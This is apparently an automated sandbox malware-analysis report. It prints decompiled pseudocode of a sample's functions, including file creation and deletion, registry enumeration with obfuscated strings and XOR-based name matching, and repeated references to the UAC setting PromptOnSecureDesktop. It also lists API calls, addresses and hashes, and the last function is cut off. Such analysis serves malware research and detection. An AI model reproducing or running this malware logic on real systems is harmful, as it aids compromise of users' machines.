				void* _v12;
				long _v16;
				long _v20;
				long _v24;
				intOrPtr _v28;
				long _v32;
				void* _t31;
				int _t42;
				intOrPtr _t43;
				int _t44;
				void* _t53;
				int _t59;
				CHAR* _t68;
				void* _t69;
				int _t73;

				_t59 = __edx;
				_t68 = _a4;
				_t31 = CreateFileA(_t68, 0x40000000, 0, 0, 2, 0x80, 0); // executed
				_v12 = _t31;
				if(_t31 == 0xffffffff) {
					 *0x412180 = 0x61080101;
					 *0x41217c = GetLastError();
					__eflags = 0;
					return 0;
				}
				_v8 =  *_t68;
				_v7 = _t68[1];
				_t63 = _a12;
				_v6 = _t68[2];
				_v5 = 0;
				_t42 = GetDiskFreeSpaceA( &_v8,  &_v20,  &_v24,  &_v16,  &_v32); // executed
				if(_t42 == 0) {
					L10:
					_t43 = E00406987(0x500000, _v12, _a8, _a12, _t63); // executed
					_v28 = _t43;
					if(_t43 != 0) {
						_t44 = FindCloseChangeNotification(_v12); // executed
						__eflags = _t44;
						if(_t44 != 0) {
							L15:
							return _v28;
						}
						 *0x412180 = 0x61080103;
						 *0x41217c = GetLastError();
						CloseHandle(_v12);
						L14:
						DeleteFileA(_t68);
						goto L15;
					}
					 *0x412180 = 0x61080102;
					 *0x41217c = GetLastError();
					CloseHandle(_v12);
					goto L14;
				}
				_t53 = E0040EB0E(_v20 * _v24, 0, _v16, 0);
				_t69 = _t69 + 0x10;
				_t73 = _t59;
				if(_t73 < 0) {
					goto L10;
				}
				if(_t73 > 0 || _t53 > 0x6400000) {
					_t22 = E0040ECA5() % 0x500000 + 0xa00000; // 0xa00000
					_t63 = _t22;
					goto L10;
				} else {
					__eflags = _t59;
					if(__eflags < 0) {
						goto L10;
					}
					if(__eflags > 0) {
						L9:
						_t63 = (E0040ECA5() & 0x001fffff) + 0x300000;
						__eflags = (E0040ECA5() & 0x001fffff) + 0x300000;
						goto L10;
					}
					__eflags = _t53 - 0x3200000;
					if(_t53 <= 0x3200000) {
						goto L10;
					}
					goto L9;
				}
			}

0x00406a60
0x00406a68
0x00406a7d
0x00406a83
0x00406a89
0x00406b8c
0x00406b9c
0x00406ba1
0x00000000
0x00406ba1
0x00406a91
0x00406a97
0x00406a9e
0x00406aa1
0x00406ab8
0x00406abb
0x00406ac3
0x00406b1d
0x00406b27
0x00406b2f
0x00406b34
0x00406b5f
0x00406b61
0x00406b63
0x00406b86
0x00000000
0x00406b89
0x00406b65
0x00406b78
0x00406b7d
0x00406b7f
0x00406b80
0x00000000
0x00406b80
0x00406b36
0x00406b49
0x00406b4e
0x00000000
0x00406b4e
0x00406ad2
0x00406ad7
0x00406ada
0x00406adc
0x00000000
0x00000000
0x00406ade
0x00406af5
0x00406af5
0x00000000
0x00406afd
0x00406afd
0x00406aff
0x00000000
0x00000000
0x00406b01
0x00406b0a
0x00406b17
0x00406b17
0x00000000
0x00406b17
0x00406b03
0x00406b08
0x00000000
0x00000000
0x00000000
0x00406b08

APIs

CreateFileA.KERNELBASE(?,40000000,00000000,00000000,00000002,00000080,00000000,751881D0,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406A7D
GetDiskFreeSpaceA.KERNELBASE(00409E9D,00409A60,?,?,?,PromptOnSecureDesktop,?,?,?,00409A60,?,?,00409E9D), ref: 00406ABB
GetLastError.KERNEL32(?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B40
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B4E
FindCloseChangeNotification.KERNELBASE(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B5F
GetLastError.KERNEL32(?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B6F
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B7D
DeleteFileA.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B80
GetLastError.KERNEL32(?,?,?,00409A60,?,?,00409E9D,?,?,?,?,?,00409E9D,?,00000022,?), ref: 00406B96

Strings

PromptOnSecureDesktop, xrefs: 00406A9D

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: CloseErrorLast$FileHandle$ChangeCreateDeleteDiskFindFreeNotificationSpace
String ID: PromptOnSecureDesktop
API String ID: 1251348514-2980165447
Opcode ID: f20540f086f6cde11da1c0912bd8b4db093012cd4bd3a0bf5db3ffead886992b
Instruction ID: 9406106fe81e47b207fd746d5c11beca6957dd7a726dfd862efddfda91f1d23f
Opcode Fuzzy Hash: f20540f086f6cde11da1c0912bd8b4db093012cd4bd3a0bf5db3ffead886992b
Instruction Fuzzy Hash: 8031EEB2900108BFDF00EFA09D45ADF7F78AF48310F15807AE112F7291D674AAA08F69

Uniqueness

Uniqueness Score: -1.00%

Function 004073FF, Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 345
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 76%

			E004073FF(void* __ecx, intOrPtr* _a4, signed int* _a8, int** _a12, char* _a16, char* _a20) {
				CHAR* _v8;
				void* _v12;
				int _v16;
				void* _v20;
				int* _v24;
				char* _v28;
				intOrPtr _v32;
				int _v36;
				char _v295;
				char _v296;
				char _v556;
				void _v592;
				intOrPtr* _t85;
				int** _t86;
				char* _t87;
				char* _t88;
				intOrPtr _t89;
				char* _t91;
				long _t92;
				signed int _t93;
				long _t97;
				signed int _t103;
				long _t107;
				char* _t118;
				intOrPtr* _t119;
				CHAR* _t123;
				void* _t125;
				char* _t127;
				intOrPtr* _t134;
				void* _t136;
				intOrPtr _t137;
				signed int* _t146;
				int** _t147;
				void* _t160;
				signed int _t163;
				intOrPtr _t164;
				void* _t165;
				intOrPtr _t167;
				intOrPtr _t172;
				intOrPtr* _t173;
				void* _t186;
				intOrPtr _t187;
				int* _t188;
				void* _t190;
				void* _t191;
				char* _t192;
				signed int _t194;
				int* _t196;
				void* _t202;
				void* _t203;
				void* _t204;
				void* _t206;

				_t165 = __ecx;
				_t85 = _a8;
				_t188 = 0;
				_v16 = 0x104;
				if(_t85 != 0) {
					 *_t85 = 0;
				}
				_t86 = _a12;
				if(_t86 != _t188) {
					 *_t86 = _t188;
				}
				_t87 = _a16;
				if(_t87 != _t188) {
					 *_t87 = 0;
				}
				_t88 = _a20;
				if(_t88 != _t188) {
					 *_t88 = 0; // executed
				}
				_t89 = E00406DC2(_t165); // executed
				_v32 = _t89;
				_t160 = 0xe4;
				_t91 = E00402544(0x4122f8, 0x4106e8, 0x22, 0xe4, 0xc8);
				_t204 = _t203 + 0x14;
				_t92 = RegOpenKeyExA(0x80000002, _t91, _t188, 0x20119,  &_v20); // executed
				_push(0x100);
				_push(_t188);
				_push(0x4122f8);
				if(_t92 != 0) {
					_t93 = E0040EE2A(_t165);
					goto L66;
				} else {
					E0040EE2A(_t165);
					_t206 = _t204 + 0xc;
					_push(_v16);
					_push( &_v556);
					_v24 = _t188;
					_push(_t188);
					while(1) {
						_t97 = RegEnumKeyA(_v20, ??, ??, ??); // executed
						if(_t97 != 0) {
							break;
						}
						if(E00406CAD( &_v556) == 0) {
							L41:
							_v24 =  &(_v24[0]);
							_push(0x104);
							_v16 = 0x104;
							_push( &_v556);
							_push(_v24);
							continue;
						}
						_t103 = E0040F1A5( &_v556);
						_pop(_t167);
						if((_t103 ^ 0x61616161) != _v32) {
							goto L41;
						}
						_v12 = _t188;
						_v16 = 0x104;
						_t107 = RegOpenKeyExA(_v20,  &_v556, _t188, 0x101,  &_v12);
						if(_t107 != _t188) {
							L45:
							if(_t107 != 5) {
								L50:
								E0040EE2A(_t167, 0x4122f8, _t188, 0x100);
								_t206 = _t206 + 0xc;
								L39:
								if(_v12 != _t188) {
									RegCloseKey(_v12);
								}
								goto L41;
							}
							E0040EF00(_a16,  &_v556);
							if(_v12 != _t188) {
								RegCloseKey(_v12);
							}
							_push(4);
							_pop(0);
							L64:
							RegCloseKey(_v20);
							return 0;
						}
						_t118 = E00402544(0x4122f8, 0x4106dc, 0xa, _t160, 0xc8);
						_t206 = _t206 + 0x14;
						_t107 = RegQueryValueExA(_v12, _t118, _t188,  &_v36,  &_v296,  &_v16);
						if(_t107 != _t188) {
							goto L45;
						}
						_t119 =  &_v556;
						_t186 = _t119 + 1;
						do {
							_t167 =  *_t119;
							_t119 = _t119 + 1;
						} while (_t167 != 0);
						if(_v16 <= _t119 - _t186) {
							goto L50;
						}
						_t123 = E0040EE95( &_v296,  &_v556);
						_pop(_t167);
						_v8 = _t123;
						if(_t123 == _t188) {
							goto L50;
						}
						_t125 = E0040EE95(_v8, E00402544(0x4122f8, 0x410694, 5, _t160, 0xc8));
						_t206 = _t206 + 0x1c;
						if(_t125 == 0) {
							_t188 = 0;
							goto L50;
						}
						if(_v296 != 0x22) {
							_t127 = E0040ED03( &_v296, 0x20);
							_pop(_t167);
						} else {
							E0040EF00( &_v296,  &_v295);
							_t127 = E0040ED03( &_v296, 0x22);
							_t206 = _t206 + 0x10;
						}
						if(_t127 != 0) {
							 *_t127 = 0;
						}
						_v8 = E0040EE95( &_v296,  &_v556);
						_v28 = E0040EE95(_v8, E00402544(0x4122f8, 0x410694, 5, _t160, 0xc8));
						E0040EE2A(_t167, 0x4122f8, 0, 0x100);
						_t134 = _a4;
						_t206 = _t206 + 0x30;
						_t190 = _t134 + 1;
						do {
							_t172 =  *_t134;
							_t134 = _t134 + 1;
						} while (_t172 != 0);
						_t173 = _v8;
						_t191 = _t134 - _t190;
						_t43 = _t173 + 1; // 0x1
						_t136 = _t43;
						do {
							_t187 =  *_t173;
							_t173 = _t173 + 1;
						} while (_t187 != 0);
						_t174 = _t173 - _t136;
						if(_t191 <= _t173 - _t136 || E0040ED77(_t191 - _t174 + _a4, _v8) != 0) {
							_t192 = _v28;
							 *_t192 = 0;
							_t137 = E0040ED23(_v8, 0x5c);
							_v8 = _t137;
							if(_t137 != 0) {
								_v8 = _v8 + 1;
							} else {
								_v8 =  &_v296;
							}
							if(E00406CAD(_v8) == 0) {
								 *_t192 = 0x2e;
								goto L38;
							} else {
								_t194 = E0040F1A5(_v8) ^ 0x61616161;
								_t163 = _t194 >> 0x00000008 & 0x000000ff;
								 *_v28 = 0x2e;
								if(E00406C96(_t194) != 0) {
									L37:
									_t160 = 0xe4;
									L38:
									_t188 = 0;
									goto L39;
								}
								_t56 = _t163 - 0x51; // -81
								if(_t56 > 0x2e || (_t194 & 0x000000ff) >= 0x10) {
									goto L37;
								} else {
									_t196 = 0;
									if(GetFileAttributesExA( &_v296, 0,  &_v592) != 0) {
										_t196 = 1;
									}
									_t146 = _a8;
									if(_t146 != 0) {
										 *_t146 = _t163;
									}
									_t164 = _a16;
									if(_t164 != 0) {
										_t202 = _v8 -  &_v296;
										E0040EE08(_t164,  &_v296, _t202);
										 *((char*)(_t202 + _t164)) = 0;
									}
									if(_a20 != 0) {
										E0040EF00(_a20, _v8);
									}
									_t147 = _a12;
									if(_t147 != 0) {
										 *_t147 = _t196;
									}
									_push(3);
									_pop(0);
									goto L63;
								}
							}
						} else {
							E0040EF00(_a16,  &_v556);
							L63:
							RegCloseKey(_v12);
							goto L64;
						}
					}
					_t93 = RegCloseKey(_v20); // executed
					L66:
					return _t93 | 0xffffffff;
				}
			}

0x004073ff
0x00407408
0x0040740e
0x00407410
0x00407419
0x0040741b
0x0040741b
0x0040741d
0x00407422
0x00407424
0x00407424
0x00407426
0x0040742b
0x0040742d
0x0040742d
0x00407430
0x00407435
0x00407437
0x00407437
0x0040743a
0x0040743f
0x00407451
0x00407464
0x00407469
0x00407472
0x00407478
0x0040747d
0x0040747e
0x00407481
0x004077f9
0x00000000
0x00407487
0x00407487
0x0040748c
0x0040748f
0x00407498
0x00407499
0x0040749c
0x00407703
0x00407706
0x0040770e
0x00000000
0x00000000
0x004074b1
0x004076ed
0x004076ed
0x004076f5
0x004076f6
0x004076ff
0x00407700
0x00000000
0x00407700
0x004074be
0x004074c8
0x004074cc
0x00000000
0x00000000
0x004074e6
0x004074e9
0x004074f0
0x004074f8
0x00407727
0x0040772a
0x00407755
0x0040775c
0x00407761
0x004076df
0x004076e2
0x004076e7
0x004076e7
0x00000000
0x004076e2
0x00407736
0x00407740
0x00407745
0x00407745
0x0040774b
0x0040774d
0x004077ec
0x004077ef
0x00000000
0x004077f5
0x0040751c
0x00407521
0x00407528
0x00407530
0x00000000
0x00000000
0x00407536
0x0040753c
0x0040753f
0x0040753f
0x00407541
0x00407542
0x0040754b
0x00000000
0x00000000
0x0040755f
0x00407565
0x00407566
0x0040756b
0x00000000
0x00000000
0x00407589
0x0040758e
0x00407593
0x00407753
0x00000000
0x00407753
0x004075a0
0x004075d1
0x004075d7
0x004075a2
0x004075b0
0x004075be
0x004075c3
0x004075c3
0x004075da
0x004075dc
0x004075dc
0x004075fc
0x00407615
0x00407618
0x0040761d
0x00407620
0x00407623
0x00407626
0x00407626
0x00407628
0x00407629
0x0040762d
0x00407632
0x00407634
0x00407634
0x00407637
0x00407637
0x00407639
0x0040763a
0x0040763e
0x00407642
0x0040765c
0x00407664
0x00407667
0x0040766e
0x00407673
0x00407680
0x00407675
0x0040767b
0x0040767b
0x0040768e
0x00407722
0x00000000
0x00407694
0x004076a1
0x004076ad
0x004076b3
0x004076bf
0x004076d8
0x004076d8
0x004076dd
0x004076dd
0x00000000
0x004076dd
0x004076c1
0x004076c7
0x00000000
0x0040777e
0x00407785
0x00407797
0x00407799
0x00407799
0x0040779a
0x0040779f
0x004077a1
0x004077a1
0x004077a3
0x004077a8
0x004077b3
0x004077b8
0x004077c0
0x004077c0
0x004077c8
0x004077d0
0x004077d6
0x004077d7
0x004077dc
0x004077de
0x004077de
0x004077e0
0x004077e2
0x00000000
0x004077e2
0x004076c7
0x00407769
0x00407773
0x004077e3
0x004077e6
0x00000000
0x004077e6
0x00407642
0x00407717
0x00407801
0x00000000
0x00407801

APIs

RegOpenKeyExA.KERNELBASE(80000002,00000000,00020119,00000000,?,751443E0,00000000), ref: 00407472
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00000101,?,?,?,?,?,?,?,751443E0,00000000), ref: 004074F0
RegQueryValueExA.ADVAPI32(?,00000000,?,00000000,?,?,00000104,?,?,?,?,?,?,751443E0,00000000), ref: 00407528
___ascii_stricmp.LIBCMT ref: 0040764D
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,751443E0,00000000), ref: 004076E7
RegEnumKeyA.ADVAPI32(00000000,00000000,?,00000104), ref: 00407706
RegCloseKey.KERNELBASE(00000000,?,?,?,?,?,?,751443E0,00000000), ref: 00407717
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,751443E0,00000000), ref: 00407745
RegCloseKey.ADVAPI32(00000000,?,?,?,?,?,?,751443E0,00000000), ref: 004077EF

Part of subcall function 0040F1A5: lstrlenA.KERNEL32(000000C8,000000E4,PromptOnSecureDesktop,000000C8,00407150,?), ref: 0040F1AD

GetFileAttributesExA.KERNEL32(00000022,00000000,?), ref: 0040778F
RegCloseKey.ADVAPI32(?), ref: 004077E6

Strings

", xrefs: 00407599
PromptOnSecureDesktop, xrefs: 0040745E, 00407463, 0040747E, 0040751B, 0040757F, 004075FB, 00407614, 0040775B

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: Close$Open$AttributesEnumFileQueryValue___ascii_stricmplstrlen
String ID: "$PromptOnSecureDesktop
API String ID: 3433985886-3108538426
Opcode ID: be1730cef161fe20a2692bf5d8dfd6f9750a488cf0ac433aa7dcf1ab0d83bb1b
Instruction ID: 7fe5a339a68ccf6b09c70fd716338511db9c3a0a85de510e5ec7ef93542d7acc
Opcode Fuzzy Hash: be1730cef161fe20a2692bf5d8dfd6f9750a488cf0ac433aa7dcf1ab0d83bb1b
Instruction Fuzzy Hash: 10C1F171D04209ABEB119BA5DC45BEF7BB9EF04310F1044B7F504B72D1EA78AE908B69

Uniqueness

Uniqueness Score: -1.00%

Function 0040704C, Relevance: 23.1, APIs: 10, Strings: 3, Instructions: 332
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 68%

			E0040704C(intOrPtr _a4, int _a8, int _a12, int _a16, int* _a20) {
				CHAR* _v8;
				void* _v12;
				char _v16;
				int _v20;
				char _v24;
				char _v28;
				signed int _v32;
				char _v64;
				char _v363;
				char _v364;
				void _v400;
				intOrPtr* _t88;
				int* _t89;
				int* _t90;
				int* _t91;
				char* _t93;
				long _t94;
				signed int _t96;
				signed int _t97;
				long _t99;
				signed int _t107;
				int _t109;
				int _t119;
				int _t121;
				int _t122;
				int _t123;
				signed int _t125;
				int _t130;
				int _t136;
				int _t149;
				int _t155;
				void* _t158;
				void* _t166;
				int _t196;
				int _t202;
				void* _t203;
				void* _t204;
				void* _t206;
				void* _t207;

				_t88 = _a8;
				_t167 = 0;
				_v16 = 0x12c;
				_v24 = 0x20;
				_v364 = 0;
				if(_t88 != 0) {
					 *_t88 = 0;
				}
				_t89 = _a12;
				if(_t89 != _t167) {
					 *_t89 = _t167;
				}
				_t90 = _a16;
				if(_t90 != _t167) {
					 *_t90 = _t167;
				}
				_t91 = _a20;
				if(_t91 != _t167) {
					 *_t91 = _t167;
				}
				_t93 = E00402544(0x4122f8,  &E004106AC, 0x2e, 0xe4, 0xc8);
				_t204 = _t203 + 0x14;
				_t94 = RegOpenKeyExA(0x80000001, _t93, _t167, 0x101,  &_v12); // executed
				if(_t94 != 0) {
					L21:
					_t96 = E0040EE2A(_t167, 0x4122f8, 0, 0x100) | 0xffffffff;
					goto L22;
				} else {
					_t97 = E00406DC2(_t167);
					_push( &_v16);
					_push( &_v364);
					_push( &_v28);
					_v32 = _t97;
					_push(0);
					_push( &_v24);
					_t167 =  &_v64;
					_push( &_v64);
					_v8 = 0;
					_push(0);
					while(1) {
						_t99 = RegEnumValueA(_v12, ??, ??, ??, ??, ??, ??, ??); // executed
						if(_t99 == 0x103) {
							break;
						}
						__eflags = _t99;
						if(_t99 != 0) {
							L18:
							_t25 =  &_v8;
							 *_t25 =  &(_v8[1]);
							__eflags =  *_t25;
							_push( &_v16);
							_push( &_v364);
							_push( &_v28);
							_push(0);
							_push( &_v24);
							_push( &_v64);
							_push(_v8);
							_v16 = 0x12c;
							_v24 = 0x20;
							continue;
						}
						__eflags = _v24 - _t99;
						if(_v24 <= _t99) {
							goto L18;
						}
						__eflags = _v16 - _t99;
						if(_v16 <= _t99) {
							goto L18;
						}
						__eflags = _v28 - 1;
						if(_v28 != 1) {
							goto L18;
						}
						_t107 = E0040EED1( &_v64, E00402544(0x4122f8,  &E004106A0, 9, 0xe4, 0xc8));
						_t206 = _t204 + 0x1c;
						asm("sbb eax, eax");
						_t109 =  ~_t107 + 1;
						__eflags = _t109;
						_v20 = _t109;
						if(_t109 != 0) {
							L23:
							_v8 = E0040EE95( &_v364, E00402544(0x4122f8,  &E0041069C, 4, 0xe4, 0xc8));
							E0040EE2A(_t167, 0x4122f8, 0, 0x100);
							_t207 = _t206 + 0x28;
							__eflags = _v8;
							if(_v8 == 0) {
								__eflags = _v364 - 0x22;
								if(_v364 == 0x22) {
									E0040EF00( &_v364,  &_v363);
									_t149 = E0040ED23( &_v364, 0x22);
									_t207 = _t207 + 0x10;
									__eflags = _t149;
									if(_t149 != 0) {
										 *_t149 = 0;
									}
								}
								_t196 = E0040EE95( &_v364, E00402544(0x4122f8, 0x410694, 5, 0xe4, 0xc8));
								E0040EE2A(_t167, 0x4122f8, 0, 0x100);
								__eflags = _t196;
								if(_t196 != 0) {
									_t119 = E0040ED77( &_v364, _a4);
									__eflags = _t119;
									if(_t119 != 0) {
										 *_t196 = 0;
										_t121 = E0040ED23( &_v364, 0x5c);
										_v8 = _t121;
										__eflags = _t121;
										if(_t121 != 0) {
											_t63 =  &_v8;
											 *_t63 =  &(_v8[1]);
											__eflags =  *_t63;
										} else {
											_v8 =  &_v364;
										}
										_t122 = E00406CAD(_v8);
										__eflags = _t122;
										if(_t122 != 0) {
											asm("popad");
											asm("popad");
											asm("popad");
											asm("popad");
											_push(0x8b00007e);
											asm("lock xor esi, 0x55555555");
											_v16 = 0x4122f8;
											_t166 = 0xad;
											_t123 = E00406C96(0x4122f8);
											__eflags = _t123;
											if(_t123 != 0) {
												L57:
												RegCloseKey(_v12);
												__eflags = _a16;
												if(_a16 != 0) {
													E0040EF00(_a16,  &_v64);
												}
												_t125 = 0;
												__eflags = _v20;
												 *_t196 = 0x2e;
												goto L34;
											}
											__eflags = 0x6d - 0x3f;
											if(0x6d > 0x3f) {
												goto L57;
											}
											__eflags = 0xf8 - 0x10;
											if(0xf8 >= 0x10) {
												goto L57;
											}
											_t202 = _a12;
											 *_t196 = 0x2e;
											__eflags = _t202;
											if(_t202 != 0) {
												_t136 = GetFileAttributesExA( &_v364, 0,  &_v400);
												__eflags = _t136;
												if(_t136 != 0) {
													 *_t202 = 1;
												}
											}
											_t130 = _a8;
											__eflags = _t130;
											if(_t130 != 0) {
												 *_t130 = _t166;
											}
											__eflags = _a16;
											if(_a16 != 0) {
												E0040EF00(_a16,  &_v64);
											}
											__eflags = _a20;
											if(_a20 != 0) {
												E0040EF00(_a20, _v8);
											}
											_t125 = 0;
											__eflags = _v20;
											goto L34;
										} else {
											RegCloseKey(_v12);
											__eflags = _a16;
											if(_a16 != 0) {
												E0040EF00(_a16,  &_v64);
											}
											 *_t196 = 0x2e;
											goto L33;
										}
									}
									RegCloseKey(_v12);
									_t96 = 0;
									goto L22;
								} else {
									RegCloseKey(_v12);
									__eflags = _a16;
									if(_a16 != 0) {
										E0040EF00(_a16,  &_v64);
									}
									L33:
									_t125 = 0;
									__eflags = _v20;
									L34:
									_t96 = (_t125 & 0xffffff00 | __eflags == 0x00000000) + 1;
									L22:
									return _t96;
								}
							}
							RegCloseKey(_v12);
							__eflags = _a16;
							if(_a16 != 0) {
								E0040EF00(_a16,  &_v64);
							}
							_t96 = 1;
							goto L22;
						}
						_t155 = E00406CAD( &_v64);
						_pop(_t167);
						__eflags = _t155;
						if(_t155 == 0) {
							L17:
							E0040EE2A(_t167, 0x4122f8, 0, 0x100);
							_t204 = _t206 + 0xc;
							goto L18;
						}
						_t158 = E0040F1A5( &_v64);
						_t167 = _v32 ^ 0x61616161;
						__eflags = _t158 - (_v32 ^ 0x61616161);
						if(_t158 == (_v32 ^ 0x61616161)) {
							goto L23;
						}
						goto L17;
					}
					RegCloseKey(_v12); // executed
					goto L21;
				}
			}

0x00407055
0x00407058
0x0040705a
0x00407061
0x00407068
0x00407071
0x00407073
0x00407073
0x00407075
0x0040707a
0x0040707c
0x0040707c
0x0040707e
0x00407083
0x00407085
0x00407085
0x00407087
0x0040708c
0x0040708e
0x0040708e
0x004070b4
0x004070b9
0x004070c2
0x004070ca
0x004071b8
0x004071c8
0x00000000
0x004070d0
0x004070d0
0x004070d8
0x004070df
0x004070e3
0x004070e4
0x004070e9
0x004070ed
0x004070ee
0x004070f1
0x004070f2
0x004070f5
0x0040719b
0x0040719e
0x004071a9
0x00000000
0x00000000
0x004070fb
0x004070fd
0x0040716e
0x0040716e
0x0040716e
0x0040716e
0x00407174
0x0040717b
0x0040717f
0x00407180
0x00407185
0x00407189
0x0040718a
0x0040718d
0x00407194
0x00000000
0x00407194
0x004070ff
0x00407102
0x00000000
0x00000000
0x00407104
0x00407107
0x00000000
0x00000000
0x00407109
0x0040710d
0x00000000
0x00000000
0x00407123
0x00407128
0x0040712d
0x0040712f
0x0040712f
0x00407130
0x00407133
0x004071d0
0x004071f4
0x004071f7
0x004071fc
0x004071ff
0x00407203
0x00407227
0x0040722e
0x0040723e
0x0040724c
0x00407251
0x00407254
0x00407256
0x00407258
0x00407258
0x00407256
0x00407280
0x00407282
0x0040728a
0x0040728c
0x004072c2
0x004072c9
0x004072cb
0x004072e6
0x004072e8
0x004072ef
0x004072f2
0x004072f4
0x00407301
0x00407301
0x00407301
0x004072f6
0x004072fc
0x004072fc
0x00407307
0x0040730d
0x0040730f
0x00407335
0x00407336
0x00407337
0x00407338
0x00407339
0x0040733e
0x0040734b
0x0040734e
0x00407354
0x0040735b
0x0040735d
0x004073d5
0x004073d8
0x004073de
0x004073e2
0x004073eb
0x004073f1
0x004073f2
0x004073f4
0x004073f7
0x00000000
0x004073f7
0x00407362
0x00407365
0x00000000
0x00000000
0x0040736d
0x00407370
0x00000000
0x00000000
0x00407372
0x00407375
0x0040737a
0x0040737c
0x0040738d
0x00407393
0x00407395
0x00407397
0x00407397
0x00407395
0x0040739d
0x004073a0
0x004073a2
0x004073a4
0x004073a4
0x004073a6
0x004073a9
0x004073b2
0x004073b8
0x004073b9
0x004073bc
0x004073c4
0x004073ca
0x004073cb
0x004073cd
0x00000000
0x00407311
0x00407314
0x0040731a
0x0040731d
0x00407326
0x0040732c
0x0040732d
0x00000000
0x0040732d
0x0040730f
0x004072d0
0x004072d6
0x00000000
0x0040728e
0x00407291
0x00407297
0x0040729a
0x004072a3
0x004072a9
0x004072aa
0x004072aa
0x004072ac
0x004072af
0x004072b2
0x004071cb
0x004071cf
0x004071cf
0x0040728c
0x00407208
0x0040720e
0x00407212
0x0040721b
0x00407221
0x00407224
0x00000000
0x00407224
0x0040713d
0x00407142
0x00407143
0x00407145
0x0040715e
0x00407166
0x0040716b
0x00000000
0x0040716b
0x0040714b
0x00407154
0x0040715a
0x0040715c
0x00000000
0x00000000
0x00000000
0x0040715c
0x004071b2
0x00000000
0x004071b2

APIs

RegOpenKeyExA.KERNELBASE(80000001,00000000,00000101,751443E0,?,751443E0,00000000), ref: 004070C2
RegEnumValueA.KERNELBASE(751443E0,00000000,?,00000020,00000000,00000000,00000000,0000012C,?,751443E0,00000000), ref: 0040719E
RegCloseKey.KERNELBASE(751443E0,?,751443E0,00000000), ref: 004071B2
RegCloseKey.ADVAPI32(751443E0), ref: 00407208
RegCloseKey.ADVAPI32(751443E0), ref: 00407291
___ascii_stricmp.LIBCMT ref: 004072C2
RegCloseKey.ADVAPI32(751443E0), ref: 004072D0
RegCloseKey.ADVAPI32(751443E0), ref: 00407314
GetFileAttributesExA.KERNEL32(00000022,00000000,?), ref: 0040738D
RegCloseKey.ADVAPI32(751443E0), ref: 004073D8

Part of subcall function 0040F1A5: lstrlenA.KERNEL32(000000C8,000000E4,PromptOnSecureDesktop,000000C8,00407150,?), ref: 0040F1AD

Strings

", xrefs: 00407227
PromptOnSecureDesktop, xrefs: 004070AE, 004070B3, 00407118, 00407165, 004071BF, 004071D9, 004071F3, 00407264, 0040727F, 0040734A
, xrefs: 00407194

Memory Dump Source

Source File: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001E.00000002.411017543.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_400000_952.jbxd

Yara matches

Similarity

API ID: Close$AttributesEnumFileOpenValue___ascii_stricmplstrlen
String ID: $"$PromptOnSecureDesktop
API String ID: 4293430545-98143240
Opcode ID: df9fb8698735da703c9513efeb9e5005b2c7850a4ce7d3985355b06bc3c585b2
Instruction ID: 42610d5d4912e138811464987e42a56107d9bf2f6382ea6b9d81aa24fc4965e2
Opcode Fuzzy Hash: df9fb8698735da703c9513efeb9e5005b2c7850a4ce7d3985355b06bc3c585b2
Instruction Fuzzy Hash: B5B17071D08209BAEB159FA1DC45BEF77B8AB04304F20047BF501F61D1EB79AA94CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00409326, Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 284
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E00409326(void* __ecx, void* __edx) {
				void* __ebx;
				char _t88;
				void* _t89;
				int _t92;
				void* _t96;
				signed int _t97;
				signed int _t100;
				signed int _t103;
				char* _t106;
				long _t107;
				char* _t111;
				signed int _t112;
				char* _t116;
				signed int _t117;
				int _t119;
				void* _t146;
				signed int _t155;
				int _t161;
				signed int _t165;
				signed int _t167;
				void* _t168;
				void* _t170;
				void* _t172;
				void* _t173;
				void* _t175;
				void* _t176;

				_t146 = __ecx;
				_t168 = _t170 - 0x60;
				E00401910(0x19bc);
				 *(_t168 - 0x58) = 0x9c;
				if(GetVersionExA(_t168 - 0x58) == 0) {
					 *(_t168 - 0x4c) =  *(_t168 - 0x4c) & 0x00000000;
					_t9 = _t168 + 0x58;
					 *_t9 =  *(_t168 + 0x58) & 0x00000000;
					__eflags =  *_t9;
				} else {
					 *(_t168 + 0x58) = ( *(_t168 - 0x54) << 4) +  *((intOrPtr*)(_t168 - 0x50));
				}
				_t88 = GetModuleFileNameA(GetModuleHandleA(0), _t168 - 0x15c, 0x104);
				if(_t88 == 0) {
					 *(_t168 - 0x15c) = _t88;
				}
				_push( *((intOrPtr*)(_t168 + 0x70)));
				_t89 = _t168 - 0x15c;
				if( *(_t168 + 0x78) == 0) {
					_push( *((intOrPtr*)(_t168 + 0x70)));
					_push(_t89);
					_push( *((intOrPtr*)(_t168 + 0x68)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
					_push( *((intOrPtr*)(_t168 + 0x70)));
					_push( *((intOrPtr*)(_t168 + 0x74)));
